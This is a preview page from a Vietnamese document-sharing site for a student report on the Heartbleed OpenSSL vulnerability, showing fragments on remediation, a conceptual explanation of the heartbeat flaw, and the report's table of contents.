đảm bảo việc kiểm soát tắc nghẽn được xử lý thích hợp Đối với các giao thức truyền tin đáng tin cậy như Stream Control Tranmission Protocol (SCTP) hoặc TCP, HeartBeatRequest... hoặc thiết lập lại OpenSSL để loại bỏ Heartbleed - Sau khi nâng cấp lên phiên bản OpenSSL vá lỗi, nếu bạn nghi ngờ rằng chứng nhận trên máy chủ web của bạn có thể đã bị lộ, lấy cắp hoặc bị khai thác, hãy liên hệ với đơn vị cấp chứng nhận để thay thế - Cuối cùng, các doanh nghiệp cũng nên cân nhắc thiết lập lại mật khẩu của người dùng cuối - có thể đã bị lộ trên bộ nhớ máy chủ Lời khuyên cho người dùng... tin nhắn ngẫu nhiên (trong ví dụ trên là “banana”), và số ký tự của tin nhắn ngẫu nhiên Máy chủ sẽ đơn giản cung cấp lại một hồi đáp theo như yêu cầu nhận được và gửi phản hồi lại cho máy trạm Tấn công Heartbleed lợi dụng việc trên thực tế là các máy chủ tin tưởng khi hồi đáp Khi một ai đó nói rằng tin nhắn có 6 ký tự, máy chủ sẽ tự động gửi lại 6 ký tự trong khi phản hồi Một người dùng có mục đích xấu

Ngày đăng: 26/06/2016, 09:16

Từ khóa liên quan

Mục lục

  • Mục lục

  • CHƯƠNG 1. TỔNG QUAN

  • 1. Lỗ hổng Heartbleed

  • 2. Độ nguy hiểm của lỗ hổng Heartbleed

  • 3. Tác động của Heartbleed trên phạm vi toàn cầu

  • CHƯƠNG II. HEARTBLEED ATTACK

  • 1. Cơ bản về mã hoá SSL/TLS

  • 2. Heartbeat Extension

  • Chương III. Demo

  • 1. Xây dựng lab phục vụ cho demo

  • 2. Thực hiện tấn công:

  • 3. Khắc phục lỗ hổng Heartbleed và hậu quả do lỗ hổng gây ra

  • IV. TỔNG KẾT

  • TÀI LIỆU THAM KHẢO

Tài liệu cùng người dùng

Tài liệu liên quan